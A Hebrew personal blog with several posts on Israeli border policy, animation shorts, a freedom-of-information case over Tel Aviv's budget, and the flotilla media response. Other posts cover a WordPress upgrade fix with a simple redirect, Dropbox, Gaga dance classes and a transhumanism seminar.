מי שעיניו בראשו ומונחת מפה לפניו, יכול להיווכח שהגבול החדש אינו בטוח יותר מהישן. ההיפך הוא הנכון, נוצרים איומים חדשים ובעיות חדשות הנובעות מ"מובלעת" אריאל ובנותיה. הגבול ארוך הרבה יותר, מפותל יותר, חסר הגיון צבאי וקשה להגן עליו מפני פיגועים למיניהם. "הפרוזדור" לאריאל והגבול סביב כל הישובים אינו "מסתדר" אם שום הגיון טופוגרפי. אומנם יש האומרים כי הטופוגרפיה – פני השטח – איבדה מחשיבותה עקב אמצעי הלחימה החדשים, אך כאשר עוסקים בהגנה מפני חדירות מחבלים ונסיונות פיגוע, יש לשטחים שולטים, קו גבול קצר ורצף טופוגרפי חשיבות רבה.
הטריז שמהווה גוש אריאל ברצף המדינה הפלסטינית שתקום יהיה מקור לתסיסה, לעוינות, ועירור מתמיד של ארגונים פלסטינים נוגדי-הסדר, לפגע, לפגוע ולחבל בהסדר ובאוכלוסיה היהודית כדי "לישר את הגבול". כפי שהסדר שיעביר את השליטה בהר הבית והכותל המערבי לפלסטין יגרום תסיסה מתמדת ונסיונות חבלה בהסדר מצד תנועות לאומניות בישראל. בשני המקרים הסכם השלום יהיה שביר ומועד לפורענות.
אם כך: במידה שפיו וליבו של ראש הממשלה שווים כשהוא קובע שהביטחון הוא השיקול העיקרי בהסדר השלום – הרי שקו הגבול הישן – גבול 67 – עדיף על קו הגבול החדש.
ישנם שיקולים היסטוריים ורגשיים לקביעת קו הגבול שאין לכפור בחשיבותם, אך הטיעון שקו הגבול החדש עלול לפגוע בביטחון חייב להיכנס לשיח המדיני, הציבורי, והביטחוני. משום מה עדיין לא הוטל ספק ב"חשיבות האסטרטגית" כביכול של מובלעת אריאל, ולא נאמר בריש גלי שהוא מהווה מכשול כבד בפני השגת הסדר בר-קיימא.
הגיעה העת להפשיל שרוולים, לערער על מוסכמות ולבדוק מחדש את קו הגבול העדיף מבחינה ביטחונית.
למען השקיפות: כותב שורות אלו סבר מיד לאחר מלחמת ששת הימים, כי השגת שלום כולל מצדיקה את החזרת כלל השטחים. ראה בקובץ "שיח לוחמים".
17:11 לכבוד פסטיבל הקומיקס והאנימציה (הנה האנימציות של הזוכים), נירמו (ראשי תיבת של ניר מולד, לאחר שמסירים את ה"לד"), שיסה שיחרר (איך אומרים unleashed בעברית?) לאוויר העולם בעולם את "גוגי ומגוגי: הנדסה גנטית". הסרטון מציע 10 דקות של דיאלוג בין שני מתבגרים המתדיינים על הנדסה גנטית ועל שלל המשמעויות המיותרות (ואולי לא כל כך) שנגזרות ממנה: כגון "מיליון בין-לאדנים משוכפלים", "קצירת איברים מנשר גמדי", ועוד.
אם משום מה אתם גם רוצים לקרוא את מה שנירמו כותב, יש לו בלוג, שבו אפשר להתעדכן על דברים נהדרים כמו מתי יהיה מופע הסטנדאפ הבא שלו (או האם ההופעה המתוכננת במקרה התבטלה)
וקצת קרדיטים לאשמים בסרטון "גוגי ומגוגי 2":
תסריט ובימוי: נירמו
אנימציה: אורי בר לביא, ניר גרין, אלונה בלובה
סאונד: דודי סופר
דיבוב: איריס מורגנבסר, נירמו
עריכה: ליאו תנא
עיצוב דמויות ופתיח: מיקי מוטס
16:25 הסרט הבא הופק על ידי היוצר של וואלס עם באשיר. כמו שמאד אהבתי את הסרט וואלס עם באשיר, כך גם מאד אהבתי את הסרטון הבא. דוגמא מצויינת כיצד ניתן לעורר רגש באמצעות אנימציה:
כמה מילים על הנושא שמאחורי הסרטון:
הגז הטבעי שהתגלה מול חופי הארץ, כמו כל אוצרות הטבע, שייך לאזרחי ישראל. הוא שווה כ-300 מיליארד דולר. בכל העולם מקובל שרוב ההכנסות מגז טבעי ומנפט — מגיעות למדינה. יש לנו הזדמנות היסטורית, כי בכסף הזה אפשר לבנות כאן חברה טובה יותר, לעשות מהפכה אמיתית בחינוך, בבריאות, בתשתיות, ברווחת הקשישים. אבל אם ברוני הגז יצליחו לגרוף לכיסם את רוב ההכנסות — נחמיץ את ההזדמנות. לכן אנחנו יוצאים למאבק. רק כך נבטיח שרוב ההכנסות יגיעו לציבור. ברוני הגז צריכים להרוויח יפה ולהסתפק ב-20%, כפי שנהוג בעולם. 80% חייבים להגיע לציבור. זה מאבק על העתיד של כולנו.
הכנסו לאתר והצטרפו גם אתם למאבק: http://www.israel-restart.com
מוגש מטעם פורום פעולה אזרחיתבמאי – יוני גודמן
תסריט- רון ורבר ויוני גודמן
אנימטורים- יוני גודמן
ספי גייגו
טל גדון
מוזיקה- אורי קליאן
22:08 בהמשך להודעה המוקדמת שפירסמתי היום על ביטול הדיון במשפט כנגד עיריית תל אביב (שמסרבת לשחרר את התקציב שלה לציבור)
היום (05.07.2010), כבוד השופט ד"ר עודד מודריק פסק גזר דין המחייב את עיריית תל אביב לשחרר את תקציב העירייה החל משנת 2011 והילך.
פסק הדין שהוא כתב מרתק, ומצורף כקובץ לפוסט זה. (PSAK-DIN-7.10)
הנה המכתב שקיבלתי שבישר על הידיעה:
————-
שלום לכולן/ם,
אנחנו שמחים לבשר כי היום התקבלה הודעה לביהמ"ש ששלחה העירייה אתמול אחה"צ, ערב הדיון המכריע בביהמ"ש על שחרור התקציב (ההודעה מצורפת) ובה היא מבקשת למחוק את עתירתנו כיוון שהיא נעתרת לדרישות בה, ותעביר קובץ אקסל של המידע התקציבי שבהצעת התקציב החל מהתקציב הקרוב – לשנת 2011.
זהו הישג משמעותי ותקדימי, כמובן קודם כל לתנועה אך גם ברמה הארצית. קשה להגזים בחשיבות זמינות המידע התקציבי בצורה שמאפשרת קריאה וניתוח מהירים ונוחים שלו; מדובר גם בקביעת סטנדרט לעיריות אחרות.
התנועה לחופש המידע ועו"ד בעז בן-צור שייצג אותנו מטעמה, ואנחנו חייבים להם תודה גדולה אע"פ שבסה"כ "עשו את חובתם הציבורית", הזדרזו וביקשו מביהמ"ש לתת להודעה תוקף של פסק-דין – והבקשה נענתה בחיוב. פסק הדין הוא הקובץ השני שמצורף כאן. אנחנו עובדים מול התקשורת ומקווים שתהייה תוצאה חיובית. כמו-כן מהווה ההודעה הזו "אור ירוק" לכתיבה בבלוגים פוסט בעניין יעלה הערב לאתר עיר לכולנו ולאתר התקציבולטור.
זו הזדמנות נוספת וחשובה להודות לכל השותפות והשותפים למאמץ, שחלקם/ן הגדול מכותבות/ים על הודעה זו (ולכן רשימת הכתובות אינה גלויה). הסרטונים, האתר, הדברור, ההחתמות, העבודה במועצה, הכתיבה, הכנס, הייצוג המשפטי, ההתייעצויות, הגיבוי שקיבל הקמפיין מהתנועה ומכל חברותיה וחבריה – בלי אלה לא היינו מגיעים להישג הנוכחי. וכמובן אלון שיחד עם יונתן הגו את רעיון התקציבולטור, ושיישם אותו – אמנם עם עזרת רבות/ים מאתנו אבל בואו נודה על זה, הרבה מאוד בכוחות עצמו.
יש כאן לא רק זריקת עידוד אלא גם סימון של כיוון. כולנו תקווה שזה גם סימן לבאות, בקמפיין התחבורה ובכלל.
בתאריך 18 בנובמבר 2009 כתבנו בפוסט הראשון באתר התקציבולטור כי: "אנחנו נקבל את תקציבי העירייה בקובץ פתוח, במוקדם או במאוחר."
אנחנו מקווים, באמת מקווים, שהתהליך שעבר ראש העירייה בשנה החולפת יהיה משמעותי, וגם שיחלחל לחברי וחברות הקואליציה שלו. בעידן בו אנחנו מצויים, לא ניתן יותר להסתיר מידע ציבורי מהציבור. במוקדם או במאוחר, כל מידע ששייך לנו – יעבור לרשותנו.
להתראות בשמחות!
* אנא העבירו את ההודעה בתודה לכל החברות/ים שלכם שהשתתפו ואתן יודעים שאין לנו קשר ישיר עמןם.
9:27 קיבלתי כעת את המייל הבא (מנעם), ואני מפרסמו כלשונות:
————
שלום לכל ובוקר טוב,
אני מתנצל על המייל הדחוף, אך לא הייתה ברירה; הדיון בעתירת עיר לכולנו והתנועה לחופש המידע מול עיריית ת"א-יפו להעברת התקציב העירוני בפורמט שאפשר לעבוד איתו – לא יתקיים היום.
כך נמסר לנו אתמול אחר-הצהריים. נמשיך לעדכן על ההתפתחות הלא בהכרח בלתי משמחת הזו היום אחר-הצהריים / ערב.
כך שאתם/ן מתבקשות/ים שלא להגיע לאולם בית-המשפט, ולהעביר את הודעת הביטול למי שקיבלו מכם/ן את ההודעה הקודמת.
תודה רבה ולהשתמע מאוד בקרוב,
נעם, בשם צוות התקציב של עיר לכולנו.
12:37 כבר כמה חודשים שאני עוקב אחרי הסיפור של שיחרור פרטי תקציב עיריית תל אביב לציבור בפורמט נגיש לניתוח סטטיסטי. ההסבר היחידי שיש לי למדוע זה לא מתרחש הוא שהעירייה מפחדת ממשהו (ותתקנו אותי אם יש לכם סברה אחרת). השאלה שמעניינת אותי היא מה הם מפחדים שנגלה.
על כל פנים ביום שני הקרוב, 5.7, בשעה 15:00, יתקיים בביהמ"ש המחוזי ת"א (רח' ויצמן 1) אצל השופט מודריק דיון מכריע, ככל הנראה, בעתירה לשחרור התקציב העירוני בפורמט שמאפשר ניתוח וקריאה סבירים שלו.
תקציר הפרקים הקודמים: יוני 2009 – "עיר לכולנו" מבקשת את נתוני התקציב העירוני בפורמט של בסיס נתונים (נניח, אקסל). העירייה (חולדאי, לייבה) מסרבת. דצמבר 2009 – אחרי אלפיים שעות עבודה, "עיר לכולנו" משיקה את התקציבולטור - כלי מבוסס אקסל אליו הוקלדו כל נתוני התקציב לשנים 2006-2009, ואפשרות לצפות בהם ולהשוות לפי מלות חיפוש, מבנה התקציב, בין שנים שונות, ועוד. העירייה מעלה את התקציב לאתר שלה – כקובץ תמונה. עיר לכולנו דורשת קובץ שאפשר לעבוד איתו – כדי שלא יצטרכו להקליד 12,500 שורות כל שנה. למעלה מ-2,000 תושבות ותושבים חותמים על עצומה התומכת בדרישה – יותר מ-1,000 ברחוב, 1,000 באינטרנט. עדיין דצמבר 2009 – התנועה לחופש המידע מקיימת יום עיון ובו מושב המוקדש לתקציב העירוני ולתקציבולטור. השר מיכאל איתן מודיע על תמיכתו בדרישה לשחרור התקציב. 21.12.2009: עיר לכולנו מעלה את ההצעה במועצת העירייה; מרצ, הליכוד, הירוקים, ה"צעירים", תל-אביב אחת מתנגדות אפילו לקיום דיון בשחרור המידע לתושבים. עיר לכולנו פונה לתנועה לחופש המידע, שמגישה אתה עתירה (לינק בתחתית העמוד) לפי חוק חופש המידע. העירייה משיבה: אנחנו לא מסוגלים להעביר את הנתונים, וגם לא חייבים. בדיון, עיר לכולנו מציעה שאנשי מחשבים מטעמה ואלה של העירייה ישבו יחד, ואם יש בעיה טכנית נעזור להם להתגבר עליה; בא-כח העירייה מסרב. השופט מחייב את העירייה לומר תוך 30 יום האם מסוגלת או לא; העירייה עדיין ממאנת, אך לפתע מתחייבת שתקים מערכת מידע משלה – כלומר, היא מסוגלת לעבוד עם הנתונים בפורמט הנדרש, אבל לא רוצה להעביר אותם לציבור.
זה מביא אותנו לדיון של יום שני, בו יטען היועץ המשפטי של עיריית ת"א-יפו שאין לה חובה חוקית להעביר לתושבים את המידע על התקציב העירוני בפורמט שמאפשר לנתח אותם, ואנחנו נטען שכן. הדיון מעניין, ובעל השלכות מעשיות מרחיקות-לכת. שימו לב שהעירייה כבר לא טוענת שאיננה מסוגלת – אלא שלא בא לה.
אתן ואתם מוזמנות/ים לדיון; נעדכן הלאה בקרוב.
(הופץ במקור על ידי נעם, בשם צוות תקציב "עיר לכולנו")
מאמרים נוספים:
22:13 בשימחה וגיל שוחרר לאוויר וורדפרס 3.0 המהולל.
אך לאחר ששידרגתי את אחד הבלוגים שלי באנגלית אליו, האתר קרס. מה עושים כעת ?
הדבר הראשון שעשיתי הוא להכנס לפורומים של wordpress וחיפשתי אם מישהו דיווח על הודעת שגיאה דומה. אם לא מוצאים, אז מעלים את ההודעה בעצמכם (זה מה שאני עשיתי).
הדבר השני שעשיתי הוא לדאוג שכל מי שמגיע לאתר אוטומאטית ינוטב לדף הבית (במקום לקבל הודעת שגיאה). הדרך שבה עשיתי זאת היה להעלות לשרת קובץ .htaccess עם הקוד הבא:
RewriteEngine On
RewriteCond %{REQUEST_URI} !=/index.php
RewriteRule .* /index.php
(זיכרו לגבות בצד את הקובץ .htaccess הישן שלכם עבור ההמשך!)
הדבר השלישי שעשיתי היה להעלות דף index.html שבו הודעה לגולשים המסבירה שהאתר עובר תחזוקה וישוב לאוויר בקרוב.
ספציפית אצלי, החלטתי להעביר את הגולשים לאתר אחר, אז השתמשתי בקוד הבא כדי לעשות להם הפניה אוטומאטית:
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN"><html><head><title>R-statistics blog</title><meta [http-equiv="REFRESH"] content="0;url=http://www.r-bloggers.com/a-new-qa-website-for-data-analysis-based-on-stackoverflow-engine-%e2%80%93-is-waiting-for-you/"></HEAD><BODY>Site is down for maintnance work (I upgraded to WordPress 3.0 and the site crashed – it happens…)You are redirected to <a href=" [www.r-bloggers.com]</BODY></HTML><!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN"><html><head><title>R-statistics blog</title><meta [http-equiv="REFRESH"] content="0;url=http://www.r-bloggers.com/a-new-qa-website-for-data-analysis-based-on-stackoverflow-engine-%e2%80%93-is-waiting-for-you/"></HEAD><BODY>Site is down for maintnance work (I upgraded to WordPress 3.0 and the site crashed – it happens…)You are redirected to <a href=" [www.r-bloggers.com]
במצב כזה, הייתי צריך גם להעלים את הקובץ index.php . אז פשוט שיניתי את שמו (וגיביתי אותו בצד) לאחר שהאתר יחזור לאוויר.
היות ובינתיים לא נמצא פתרון, התחלתי את התהליך של להעלות בחזרה לשרת (ב- FTP) את הקבצים של הגירסה הישנה של וורדפרס. לאחר שהכל הועבר, הסרתי את הקבצים הזמניים – והאתר חזר לאוויר.
לאחר עוד רבע שעה, מישהו בפורומים זיהה שהבעיה הייתה באחד הפלאגינים באתר, אז הלכתי ומחקתי אותו והתקנתי מחדש את הגירסה החדשה. הכל עבד כשורה ובא לציון גואל.
שלב אחרון – תכתבו על זה פוסט. אולי הניסיון שלכם יעזור לעוד מישהו חוץ מכם
אגב, הנה סרטון על הפיטצ'רים החדשים של 3.0:
חוויות, רעיונות, דעות?
יתקבלו בברכה בתגובות….
מאמרים נוספים:
12:04 לשם הגילוי הנאות אני רוצה להתחיל עם עמדתי.
בניגוד לחלק מחברי היותר שמאלניים, אני לא מאמין שמה שקרה במשט היה כניסה של חיילים במטרה להרוג אזרחים. אני מאמין שהתיאור של רון בן ישי לסיפור הוא מה שקרה.
כבר 24 שעות שאני מתוסכל מהטרור התקשורתי על תדמית מדינת ישראל.
ואם בפיגוע טרור מגיעים ישר מגן דוד אדום והמשטרה, הרי שבמקרה שלנו בקושי הגיע חובש בודד למערכה.
יש שלוש רמות שבהן קוראים ביקורות כרגע על ישראל. האחת היא אסטרטגית מדינית (כגון: "אולי לא צריך מצור על עזה, וכולנו נחייה בשלום?" אני מסופק. ומצד שני "כל ההתנהלות של ישראל עלולה להוביל אותנו למשטר פשיסטי" – זה כבר באמת מטריד אותי). טקטית בראיה-לאחור ("אילו רק היו משתקים את האוניה עם טיל ונותנים למישהו לגרור אותה, הכל היה בסדר", או "לא יכלו לחשוב שהערבים הרצחניים הללו ינסו לפגוע בחיילים?" – טענות מעניינות, מעניין מי שומע אותן ומה זה ישנה. או גם ביקורות על הטימטום שמשתקף מהתקרית הזו).
והביקורת השלישית, שמעניינת אותי, היא טקטית תקשורתית (וספצפית, תקשורתית-אינטרנטית).
מאד העציב אותי לקרוא את סגן אלוף אביטל שאמרה
מה עם רשתות חברתיות, מדיום שהשיח הוא נשמת אפו? "אנחנו לא מנהלים כרגע שיחה בטוויטר מבחירה", עונה ליבוביץ'. "המטרה שלנו היא כרגע להגיע לקהלי היעד שלא משתמשים במדיה המסורתית ולתת להם את כל המידע"
לפחות יש להם חשבון טוויטר ואפילו בלוג.
גם שימח אותי שהיא אמרה בכתבה ש:
"אנחנו בתחילת הדרך של הנושא של המדיה החדשה. אנחנו בהתחלה, אבל בהחלט מתכוונים להמשיך ללמוד ולפתח את הנושא. ולראיה כוח האדם והמשאבים שמושקעים בתחום הזה", היא מסכמת.
אבל עוד רחוקה הדרך.
בבלוגוספירה כבר כמה כתבו היטב:
דוד כתב יפה שחובה היה להעלות מצלמה על ראשו של כל חייל ומיד להעלות את מה שקרה לרשת. ניב קלדרון כתב פוסט עשיר-ניסיון שאמר בצער איך לא נראה שהממשלה פנתה לעזרה מקצועית בתחום.
כי למה היינו צריכים לחכות כל כך הרבה שעות בשביל הוידיאו הרופס הזה:
לפני שסוף סוף העלו משהו כמו זה:
אבל בשלב שכבר זה עלה, היו כבר עשרות אלפי טורכים שהפגינו נגדינו. איכשהו, לא נראה לי שבשלב הזה היה אפשר לומר להם "היי חבר'ה, בעצם יש לנו תמונות שפעילי השלום תקפו אותם עם אלות. באמת, זה לא היה כל כך ברור שהצבא היו המנייאקים פה!"
כפי שכתב מישהו בווינט:
12 שעות קריטיות הפקרתם את הזירה לאל ג'זירה
אח"כ כבר רדפתם אחרי הסיפור במטרה לתקן נזקים ולצעוק את הגרסא שלכם, כשמליונים כבר מפגינים בכל העולם ורשתות השידור עוברות לסיפור הבא. יש עוד דברים בעולם. כתם נפט בארצות הברית, בחירות בגרמניה, אסון טבע בגוואמלה.
רשתות התקשורת לא עוצרות את נשימת עד שכבוד רמד ניו מדיה תשחרר סרטון ביו טיוב.
לתזמון יש השפעה קריטית והוא הקובע את דעת הקהל. מי שבא אח"כ הופך לפולוור ונאבק לשנות את השיחה.
צה"ל נגרר אחרי משרד החוץ אשר עושה עבודת הסברה מ ח ר י ד ה מאז נכנס ליברמן לתפקיד.
לא מספיק לשחרר לאינטרנט. כל הרעיון הוא זמן אמת. אין זמן אמת = אין הסברה. זה משחק סכום אפס.
נקווה שתסיקי את המסקנות בפעם הבאה
ומישהו אחר:
אפשר להציג ברשת מה שרוצים, אך לו השכלתם לחסום את כל דרכי התקשורת של הספינות 500 מטרים לפני המים הטריטוריאליים, הם לא היו יכולים לשחרר תמונות לפניכם. (וכידוע לך, זה אמנם לא פשוט, אבל זה כן אפשרי מבחינה טכנולוגית) לו אתם הייתם ראשונים ובלעדיים, יכולתם לקבוע את התמונות שכולם יראו,ואת הקולות שכולם ישמעו – ולא באיחור של חצי יום.
התמונות הלא מוצלחות יצאו קודם וקבעו את סדר היום.
תמונה בזמן אמת שווה אלף מילים וחמשת אלפים ציוצים.
עוד תגובה מעניינת בווינט הסבירה ש:
מי שינסה להיכנס לעמוד של הסרט שהופיע בכתבה ביו-טיוב (ולא בוואי-נט)ייתקל בחסימה שדורשת ממנו לעשות לוג-אין, מכיוון שגולשים שביקרו באתר (מעניין מי) סימנו את הסרט כלא ראוי לצפייה ע"י ילדים. מחסום מהסוג הזה גורם להרבה מאוד משתמשים לא מנוסים או חסרי סבלנות לוותר על צפייה בסרט ובעצם הופך את פרסומו לכמעט חסר השפעה.
מעשה שכזה מהווה פעולה אקטיווית ישירה נגד ההסברה הישראלית ברשת וברור שבוצע ע"י גורמים עוינים לישראל ולמאמצי ההסברה שלה.
לאור פעולות כאלו נדרש להעלות הילוך במלחמת ההסברה, לשים לב לפרטים הקטנים ולחוקי המשחק החדשים של עולם האינרנט והרשתות החברתיות ולפעול בהתאם.
ואגב, עבור משתמשי הטוויטר של צה"ל – תלמדו בבקשה להשתמש בהשטגס (מילים שלפניהן יש #), ולדעת מהן המילים שאתם מפיצים להם. במקרה שלנו אלו היו המילים #israil (כן, בכתיב מוזר), וגם #flotilla (והיו עוד כמה).
מתסכל, אבל נקווה שיהיה פה תהליך למידה. איכשהו, אחרי לילה של שינה, אני מצליח להיות קצת אופטימי…
אם יש לכם עוד פוסטים או תגובות ראויות להתייחסות, אנא שתפו אותם בתגובות.
23:38 DropBox (או: דרופ-בוקס) הוא שירות אינטרנטי שמאפשר לבחור תיקיה בתוך המחשב שלכם אשר תהיה משותפת בין מספר מחשבים שונים.
לדוגמא: במקרה שלי, יש לי מחשב בבית ומחשב בעבודה. ויש לי תיקיות עם קבצים השייכים לפרוייקטים שונים שאני עובד עליהם. לפעמים אני רוצה להיות מסוגל לעבוד על משהו בבית ואז להמשיך לעבוד עליו בעבודה (וההיפך). הדרך המסורתית לפתור זאת היא שכל פעם שאני מסיים לעבוד ליד מחשב אחד, אני אעביר את הקבצים באמצעות USB או אי-מייל אל המחשב השני. החיסרון הוא שזה לוקח זמן, התעסקות, וקל לשכוח או לשגות בתהליך (קבצים ישנים ימחקו חדשים, או ששוכחים את הדיסק און קי בבית, וכן הלאה). דרופבוקס פותר זאת לחלוטין. הנה סרטון (קצר) הממחיש את אשר תיארתי:
איך מתקינים את דרופ-בוקס?
הנה סרטון עם עוד כמה תכונות מדליקות שדרופבוקס מציע (כמו שיתוף קבצים ברשת, שיתוף תיקיות עם חברים, גיבוי קבצים עם שמירת גירסאות ועוד)
דרופ בוקס הוא חינם עבור איכסון של עד 2GB (שזה די והותר לצרכי איכסון ושיתוף בסיסיים). אישית אני מוצא את השירות פשוט מאד לשימוש (זה פשוט תיקיה רגילה שהמיוחד בה הוא שהיא משותפת בין מחשבים) נוח ביותר וממליץ עליו לכל מי שרוצה גיבוי קבצים, סינכרון קבצים בין מחשבים ושיתוף נוח של קבצים גדולים-מכדי-לשלוח-באימייל עם חברים.
דרופ-בוקס נבחר כשירות מומלץ לשנת 2009 על ידי חורים ברשת, וגם זכה לביקורות אצל זהר (מק-בלוג), ניר טובר, דור שמר ואחרים.
אתם מוזמנים לספר דעות וחוויות שימוש…
22:28 בשנתיים האחרונה התחלתי להגיע לשיעורי "גאגא", שפת-התנועה שפיתח אוהד נהרין.
היות וגיליתי הערב שאין מידע מאורגן על "גאגא" באינטרנט, אני מפיץ כאן ריכוז של מידע והסברים למען נוחיותכם: מתי, איפה, מי, כמה ומה (מה זה גאגא).
הנה סרטון קצר בו שתי רקדניות מבת-שבע מדגימות על עצמן תירגול גאגא (הסבר מילולי מופיע בסוף הפוסט):
שיעורים בהם מלמדים "גאגא" לקהל הרחב (המכונה גן: "גאגא אנשים") מתקיימים בכל ימות השבוע:
שיעורי גאגא מתקיימים במרכז סוזן דלל
בכתובת: רחוב יחיאלי 5 נוה צדק תל אביב.
למגיעים ברכב – חניה: בשעות היום יש חניה ברחובות סביב סוזן-דלל (בכחול לבן, עם תו חניה) ובשעות הערב לרוב יותר קשה למצוא חניה ברחוב (והפקחים נותנים דוחות). יש למול סוזן-דלל חניה בתשלום, למרות שהיא יחסית יקרה. אני לרוב מחנה את הרכב שלי כמה רחובות הרחב מסוזן דלל, ואז מגיע לשם ברגל.
מפת הגעה לסוזן דלל אפשר לראות בגוגל-מפות, הנה צילום מסך של המפה לנוחיותכם:
השיעורים מתקיימים לרוב בסטודיו A בערב. וסטודיו B בבוקר ביום שלישי וחמישי. וסטודיו סוזי בימי שישי בבוקר. והשיעורים עם אוהד הם בסטודיו ורדה.
מי מעביר את שיעורי ה"גאגא"שיעורי גאגא מועברים במהלך החודש על ידי הרקדנים (המדהימים!) של להקת המחול בת-שבע.
אחת לחודש אוהד נהרין נותן שיעור גאגא לקהל הרחב. השיעור של אוהד מתקיים (לרוב) ביום שלישי האחרון של אותו החודש (התאריך המדוייק של אותו החודש מוכרז בכל פעם בשיעורי הגאגא הסדירים)
השיעור של אוהד נהרין פתוח רק לאנשים שלקחו לפחות שיעור "גאגא" אחד אצל הרקדנים של בת-שבע.
בחודש הראשון, שיעורי גאגא עולים 220 ש"ח. בחודש הראשון ניתן להכנס לכל השיעורים במהלך החודש, כולל השיעור עם אוהד נהרין.
החל מהחודש השני והילך, שיעורי גאגא עולים:
התשלום החודשי לגאגא איננו כולל את המחיר לשיעור עם אוהד נהרין. בשביל להשתתף בשיעור החודשי של אוהד נהרין יש לשלם 50 ש"ח נוספים. השיעורים של אוהד פתוחים אך ורק למי שרשום לשיעורי הגאגא האחרים ואשר השתתף בלפחות שיעור גאגא אחד לפני כן.
הערה חשובה: לא ניתן להגיע ל"שיעור ניסיון" יחיד בגאגא. האפשרות היחידה לנסות גאגא, היא לשלם על חודש שלם ולהגיע לשיעורים. הסיבה היא (למיטב הבנתי) שיכול לקחת זמן "להבין" את שיעורי הגאגא והחשש הוא שאנשים יגיעו לשיעור בודד ויעזבו מבלי לתת לשיטה/לעצמם זמן להבין במה מדובר.
מה זה גאגאשיעורי "גאגא" החלו להיפתח לציבור בסביבות 2001 ומאז זכו לפופולאריות רבה.
שיעורי גאגא הם שיעורים של שעה, ללא הפסקה, של תנועה. האינטרנסיביות של השיעור נקבעת על ידי המתאמן ולכן השיעורים מתאימים לאנשים בכל גיל.
במהלך השיעור כל אדם מניע את גופו (רוקד) בהתאם להוראות של המורה. ההוראות אינן ספציפית ("תרימו יד ימין") אלא מיועדות לתת לתלמיד דימוי לעבוד איתו בתוך התנועה (לדוגמא: "תרגישו את המשקל נע על כפות הרגליים", "תניעו את גופכם כאילו היא לשון שטועמת משהו", "צופו במים", "נסו להרגיש שהעצמות שלכם קלות", "הרגישו כדור מתגלגל בתוך הגוף שלכם". ועוד ועוד). המתאמן הוא מי שמפרש באיזו צורה (ועוצמה) ליישם את הדימוי על הגוף שלו.
שיעורי גאגא מאמנים (לדעתי) כושר גופני, אבל בעיקר – הם שיעורים בהם לומדים להנות ממה שהגוף שלנו מסוגל לעשות. לא לפחד ממאמץ, או מלהראות מטופש – אלא להתחבר לרצון הפנימי (שיש ברובנו, כנראה), לזוז – פשוט כי זה כיף.
הנה ההסבר שמספק אוהד נהרין אודות "גאגא" (לקוח מהאתר גאגא-אנשים)
מקורות נוספים (באנגלית)גאגא מבוססת על שכבות-שכבות של מטלות. זהו אתגר שאנו כמשתמשי גאגא צריכים להיות זמינים לו.
אנחנו, המשתמשים, יכולים לנוע באיטיות בחלל כשבו בזמן תנועה מהירה מתרחשת בגופנו.
הדינמיקות השונות של התנועה שמתרחשות בו זמנית, הן רק חלק מזערי ממה שיכול להתרחש בגופינו בזמן נתון.אנחנו מאפשרים לתודעה שלנו להביט ולנתח מספר דברים באותה העת.
אנחנו ערים לקשר בין מאמץ לתענוג, אנחנו מתחברים ל"תחושת שפע הזמן", במיוחד כשאנחנו נעים במהירות, אנחנו מודעים למרחקים שבין חלקי הגוף השונים, אנחנו ערים לחיכוך שבין הבשר לעצמות, אנחנו חשים במשקלם של האיברים, אנחנו ערים למקומות בהם אנו אוגרים מתח מיותר. אנחנו מוותרים, ומשחררים, רק בכדי להביא חיים ותנועה יעילה לאותם מקומות ששיחררנו…אנחנו מקשיבים, מסתכלים, מודדים, משחקים עם מרקמים שונים של בשר, של תנועה, אנחנו יכולים להיות שטותיים, אנו מקשטים את הגוף שלנו מבפנים, אנחנו יכולים לצחוק על עצמנו.
אנחנו לומדים לאהוב את הזיעה שלנו, מגלים את התשוקה שלנו לתנועה ומתחברים למאמץ, אנחנו מגלים את החיתיות שבתוכנו כמו גם את עוצמתו של הדמיון.
אנחנו לומדים להעריך לשון-המעטה והגזמה, אנחנו מגלים את ההבדל בין הנאה ועונג ומשתמשים בשניהם כדי להגן על עצמנו מפני פציעות וכאבים, אנחנו לומדים להפעיל את הכוח שלנו באופן יעיל ולומדים להשתמש גם במקורות כוח "אחרים". אנחנו נעשים מעודנים יותר ומכירים בחשיבות של זרימת אנרגיה ומידע לכל הכיוונים בגוף שלנו
אנחנו מגלים את היתרון שבבשר הרך ובכפות ידיים רגישות, אנחנו לומדים להתחבר אל הגרוב גם כשאין מוסיקה.
אנחנו הופכים מודעים יותר לאנשים שסביבנו, ומבינים שאנחנו לא במרכז. לעולם לא נסתכל על עצמנו במראה. אין מראות. אנחנו נעשים ערניים יותר לדמות שלנו, אנחנו מתחברים לתחושת ה"אין סוף של אפשרויות"…
אנחנו חוקרים תנועה רבת ממדים, נהנים מתחושת השריפה בשרירים שלנו, אנחנו ערוכים להתפרצות, אנחנו מודעים לחומרים מהם אנחנו עשויים, ערים לכוח המתפרץ ולפעמים משתמשים בו.
אנחנו משנים את הרגלי התנועה שלנו על-ידי מציאת ואימוץ הרגלים חדשים, אנחנו יכולים בו בזמן להיות נינוחים וערניים, רגועים ודרוכים.
אנחנו זמינים…אוהד נהרין
מרץ 2008
אישתי (המדהימה!) דבורה, חוקרת המחול בישראל, כתבה מספר מאמרים על גאגא באתר שלה Dance In Israel (מגאזין אינטרנטי, באנגלית, על המחול בישראל):
11:24 שלום חברים וקוראים יקרים.
ביום שישי, 14 למאי, בשעה 10 בבוקר יתקיים הסמינר התשיעי לטרנסהומניזם. (עוד פרטים בהמשך הפוסט)
הנה הסבר על מה זה טרנסהומניזם, והנה ראיון (של 7 דקות) שנתתי בנושא לפני כמה שבועות
ועכשיו, פרטים על המפגש.
מקום המפגש:
אוניברסיטת בר-אילן. בניין כ"ץ (גם ידוע כבניין מורשת ישראל 604), בחלק הצפוני של הקמפוס, אזור "אסבסטונים", קומה שלישית, חדר סמינריונים מס' 309
בתוכנית המפגש:
10-11 – טל גלילי – סבב שאלות ותשובות על טרנסהומניזם
11-12 – כוכי כוהן – דיווח על כנס ה"אסטרטגיות להנדסת הזדקנות זניחה" קיימברידג' 2009
12-13 – איליה סטמבלר – מניעים אידיאולוגיים להארכת חיים
13.00- הפסקה
מ-13.15 דיון על הפעילות העתידית של קבוצת הטרנסהומניסטים
כיבוד ושתיה קלה
היות ומספר המגיעים צפוי לעמוד על מספר עשרות של אנשים, אנו מבקשים מכל מי שמגיע להביא דבר מה לכיבוד או שתיה עבור עצמו ולשאר. תודה
מקווים לראותכם בקרוב
איליה
0522-283-578
טל
052-727-5845
כוכי
050-2020273
לקבלת עידכונים לעתיד על מפגשים כאלה, אפשר להירשם לאתר שלנו:
http://www.singulariut.com/
